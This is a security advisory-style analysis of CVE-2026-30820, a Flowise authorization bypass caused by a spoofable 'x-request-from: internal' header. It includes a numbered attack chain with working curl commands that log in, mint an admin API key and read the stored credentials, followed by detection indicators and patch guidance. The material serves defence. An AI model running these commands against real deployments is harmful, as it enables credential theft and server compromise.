CVE-2026-30820: 
Flowise vulnerability analysis and mitigation

CVE-2026-30820 is an authorization bypass vulnerability in FlowiseAI's Flowise, an open-source low-code AI workflow builder, caused by a spoofable x-request-from: internal HTTP header that allows any authenticated tenant to bypass all /api/v1/** authorization checks. It affects all self-hosted Flowise versions up to and including 3.0.12, with version 3.0.13 containing the fix. The vulnerability was reported by researcher N3mes1s, published to the GitHub Advisory Database on March 5–6, 2026, and assigned a CVSS v3.1 score of 8.8 (High) and a CVSS v4.0 score of 8.7 (High) (GitHub Advisory, Flowise Advisory).

The root cause is CWE-863 (Incorrect Authorization) in the global middleware located at external/Flowise/packages/server/src/index.ts:214. The middleware checks whether a request is whitelisted, then short-circuits to verifyToken() if the x-request-from header equals internal — without verifying that the request actually originates from a trusted internal source. Because this header is fully attacker-controlled, any authenticated user with a valid browser session cookie can add x-request-from: internal to their HTTP requests and be treated as a trusted internal client, bypassing all downstream authorization checks for every route under /api/v1. The flaw requires only low-privilege authenticated access (a standard tenant account) and no user interaction, making it trivially exploitable from a browser or command-line tool (GitHub Advisory, Flowise Advisory).

Successful exploitation allows any authenticated low-privilege tenant to invoke privileged internal administration APIs, including minting new API keys (/api/v1/apikey), harvesting stored credentials (/api/v1/credentials), accessing tools and custom function execution endpoints (/api/v1/tools, /api/v1/node-custom-function), and more. This results in high confidentiality, integrity, and availability impact on the vulnerable system. When chained with other vulnerabilities such as Custom Function Remote Code Execution, the authorization bypass can lead to full system compromise of self-hosted Flowise deployments (GitHub Advisory, Flowise Advisory).

A concrete proof-of-concept exploit consisting of runnable curl commands is publicly available in the official security advisory, demonstrating how to mint API keys and access privileged endpoints using only a session cookie and the spoofed header (Flowise Advisory). As of the time of reporting, there is no confirmed evidence of in-the-wild exploitation, and no threat actor attribution has been made. The EPSS score is approximately 0.057% (0.133% per the GitHub Advisory), placing it in the 32nd percentile for exploitation likelihood within 30 days. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory).

1. Reconnaissance: Identify internet-facing or network-accessible self-hosted Flowise instances running versions ≤ 3.0.12 using tools like Shodan, Censys, or direct network scanning for the default port (3100).
2. Obtain authenticated session: Log into the Flowise instance with any valid tenant account (even a low-privilege one), capturing the session cookie:

curl -sS -c /tmp/flowise_cookies.txt -X POST http://<target>:3100/api/v1/auth/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"<user>","password":"<pass>"}'

3. Spoof the internal header: Add the x-request-from: internal header to any subsequent request targeting a privileged /api/v1/** endpoint, bypassing all authorization middleware.
4. Mint a new API key: Create a persistent administrative API key for future access:

curl -sS -b /tmp/flowise_cookies.txt \
  -H 'Content-Type: application/json' \
  -H 'x-request-from: internal' \
  -X POST http://<target>:3100/api/v1/apikey \
  -d '{"keyName":"Bypass Demo"}'

5. Harvest stored secrets: Access the credentials store to exfiltrate stored API keys, tokens, and other secrets:

curl -sS -b /tmp/flowise_cookies.txt \
  -H 'x-request-from: internal' \
  http://<target>:3100/api/v1/credentials

6. Escalate to RCE (if applicable): Use the /api/v1/node-custom-function endpoint with the spoofed header to execute arbitrary code on the server if the Custom Function feature is enabled, achieving full system compromise (Flowise Advisory).

• Network: HTTP requests to /api/v1/apikey, /api/v1/credentials, /api/v1/tools, or /api/v1/node-custom-function containing the header x-request-from: internal from non-internal IP addresses or browser-based clients; unexpected POST requests to administrative API endpoints from low-privilege tenant sessions.
• Logs: Flowise access logs showing successful (HTTP 200) responses to privileged /api/v1/** endpoints from accounts that should not have administrative access; repeated requests to /api/v1/apikey or /api/v1/credentials outside of normal administrative activity.
• Application State: Unexpected or unrecognized API keys appearing in the Flowise API key management interface; newly created credentials or tools not associated with administrative users; unauthorized modifications to chatflows or agent configurations.
• Process (if RCE chained): Unusual child processes spawned by the Flowise Node.js process (e.g., sh, bash, curl, wget); unexpected outbound network connections from the Flowise server process (Flowise Advisory).

The primary remediation is to upgrade Flowise to version 3.0.13 or later, which addresses the authorization bypass by properly validating the x-request-from header and enforcing authorization checks regardless of its value (Flowise Release). As an interim workaround for deployments that cannot immediately upgrade, administrators should implement network-level controls (e.g., reverse proxy rules or WAF policies) to strip or reject requests containing the x-request-from: internal header from external or untrusted clients. After patching, all existing API keys and stored credentials should be audited and rotated, as they may have been accessed or created by unauthorized parties (GitHub Advisory).

The vulnerability was discussed on Reddit's r/netsec in a thread covering 22 security advisories related to AI/ML software, reflecting broader community interest in the security posture of AI workflow tools (Reddit). A technical write-up was published by Infinit Security covering the authorization bypass mechanism via the spoofed header (Infinit Security). No major vendor statements beyond the official advisory or significant media coverage have been identified at this time.